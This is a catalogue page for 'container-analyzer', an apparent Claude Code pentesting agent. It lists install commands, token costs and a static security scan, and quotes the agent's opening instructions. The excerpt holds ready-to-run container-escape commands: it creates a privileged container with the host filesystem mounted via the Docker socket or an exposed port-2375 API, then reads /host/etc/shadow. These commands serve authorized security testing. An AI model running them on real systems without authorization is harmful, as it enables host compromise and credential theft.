container-analyzer

container-analyzer is an agent for Claude Code from allsmog/blackbox-claude-plugin. It costs 127 tokens per session (2,737 once invoked), scanned C, original, MIT.

An agent for checking whether a running environment is a Docker, LXC, or Kubernetes container and examining possible ways out. Container escape means reaching the host system or another boundary from inside a container.

In plain words
What is it for?
Use it during authorized container-security testing to identify the container type, inspect escape vectors, and produce commands for testing them.
Why use it?
It organizes container detection and checks for weaknesses such as exposed management interfaces. This helps security testers assess the isolation of an environment.

Agent for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: model in frontmatter; names the TodoWrite tool; positional $N argument.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Use it during authorized container-security testing to identify the container type, inspect escape vectors, and produce commands for testing them.

Compare 6 agents from other repositories ↓
Install with agentmods
npx agentmods add agents/allsmog/blackbox-claude-plugin/container-analyzer
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-analyzer

README.md
[![agentmods](https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/container-analyzer/github.svg)](https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/container-analyzer)
Your own site
<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/container-analyzer"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/container-analyzer/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for container-analyzer

Your own site · 80×15
<a href="https://agentmods.dev/agents/allsmog/blackbox-claude-plugin/container-analyzer"><img src="https://agentmods.dev/badge/agents/allsmog/blackbox-claude-plugin/container-analyzer.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 127 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 2,737 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00127 $0.02737
Opus 5.5 $0.00051 $0.01095
Sonnet 5.5 $0.00025 $0.00547
Haiku 4.5 $0.00013 $0.00274

Measured 2mo ago against content hash e33425da3753, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

container-analyzer scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo ' -d '\''{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'\'''

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s --unix-socket /var/run/docker.sock http://localhost/version | head -5
blackbox-htb/agents/container-analyzer.md · 327 lines

How it starts

The opening of the file, as written. The whole thing — 327 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Analyzer Agent

Purpose

Detects containerization, identifies the container type, and systematically checks all escape vectors. Provides ready-to-run escape commands.

Behavior

On Invocation

  1. Detect container environment
  2. Identify container type (Docker, LXC, Kubernetes)
  3. Check all escape vectors
  4. Provide exploitation commands
  5. Update state with findings

Detection Phase

Container Environment Check
echo "=== Container Detection ==="

# Check for Docker
if [ -f /.dockerenv ]; then
    echo "[+] Docker: /.dockerenv exists"
fi

if grep -q docker /proc/1/cgroup 2>/dev/null; then
    echo "[+] Docker: cgroup contains 'docker'"
fi

# Check for LXC
if grep -q lxc /proc/1/cgroup 2>/dev/null; then
    echo "[+] LXC: cgroup contains 'lxc'"
fi

# Check for Kubernetes
if [ -d /var/run/secrets/kubernetes.io ]; then
    echo "[+] Kubernetes: service account directory exists"
fi

# Check hostname (Docker often uses 12-char hex)
hostname | grep -qE '^[a-f0-9]{12}$' && echo "[+] Hostname looks like Docker container ID"

# Process count (containers have fewer)
echo "[*] Process count: $(ps aux | wc -l)"

Escape Vector Enumeration

Vector 1: Docker Socket
echo "=== Docker Socket Check ==="

if [ -S /var/run/docker.sock ]; then
    echo "[!] VULNERABLE: Docker socket available!"
    echo "[*] Testing access..."
    curl -s --unix-socket /var/run/docker.sock http://localhost/version | head -5

    echo ""
    echo "[*] Escape command:"
    echo 'curl -s -X POST --unix-socket /var/run/docker.sock \'
    echo '    -H "Content-Type: application/json" \'
    echo '    http://localhost/containers/create \'
    echo '    -d '\''{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'\'''
else
    echo "[-] Docker socket not found"
fi
Vector 2: Docker Desktop API
echo "=== Docker Desktop API Check ==="

# Common Docker Desktop API addresses
for ip in 192.168.65.7 192.168.65.1 host.docker.internal 172.17.0.1 172.18.0.1; do
    result=$(curl -s -m 2 http://$ip:2375/version 2>/dev/null)
    if [ -n "$result" ]; then
        echo "[!] VULNERABLE: Docker API exposed at $ip:2375"
        echo "$result" | head -3

        echo ""
        echo "[*] Escape commands:"
        echo "# 1. Create privileged container"
        echo "curl -X POST http://$ip:2375/containers/create \\"
        echo '    -H "Content-Type: application/json" \'
        echo '    -d '\''{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'\'''
        echo ""
        echo "# 2. Start container"
        echo "curl -X POST http://$ip:2375/containers/<ID>/start"
        echo ""
        echo "# 3. Read host files (for Windows: /host/mnt/host/c/...)"
        echo "curl -X POST http://$ip:2375/containers/<ID>/exec \\"
        echo '    -H "Content-Type: application/json" \'
        echo '    -d '\''{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'\'''
        break
    fi
done

Read the full file on GitHub · 327 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 327 lines · 127 tokens per session scan C e33425da3753

Subscribe to this mod's changes

container-analyzer is an agent published in the GitHub repository allsmog/blackbox-claude-plugin (6 stars, last pushed 8mo ago), licensed MIT. It adds 127 tokens to every session and 2,737 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other agents, from other repositories

arn-spark-dev-env-builder

This agent should be used when the arn-spark-dev-setup skill needs to create development environment infrastructure files such as dev containers, Docker configurations, setup scripts, CI workflows, toolchain pins, and onboarding documentation. Also applicable when a user needs specific dev environment files generated…

AppsVortex/arness · 297 tokens

k8s-engineer

Kubernetes specialist for container orchestration, cluster management, and deployment strategies. Expert in GKE, EKS, manifest creation, Helm charts, operators, and Kubernetes best practices.

andisab/swe-marketplace · 42 tokens

devops

Infrastructure specialist. MUST BE USED for CI/CD, Docker, deployment, infrastructure. PROACTIVELY manages pipelines, environment setup, and container configuration.

komluk/scaffolding · 33 tokens

devops-engineer

Usar para configuración de Docker, pipelines de CI/CD, estrategias de despliegue y setup de monitoring/observabilidad. Se activa en la fase 6 (entrega) de /alfred-dev:feature, en /alfred-dev:ship (empaquetado y despliegue) y en /alfred-dev:audit (revisión de infraestructura). También se puede invocar directamente para…

686f6c61/alfred-dev · 264 tokens

evolve-container-hardening-scan

Container & manifest hardening gate for the Evolve Loop (Evaluate archetype). The advisor INSERTS this phase after Build on infrastructure cycles to inspect the changed Dockerfiles and Kubernetes manifests for insecure defaults — and BLOCKS when an added line ships a CRITICAL misconfiguration (root user…

mickeyyaya/evolve-loop · 86 tokens

container-platform

Fully autonomous pentest sub agent using MCP-backed fastcmp toolbox for a container platform layered on Kubernetes (OpenShift routes/SCC/BuildConfig/OAuth/internal registry, Rancher management plane/API keys/Fleet/downstream clusters).

ASCIT31/Dark-Moon · 48 tokens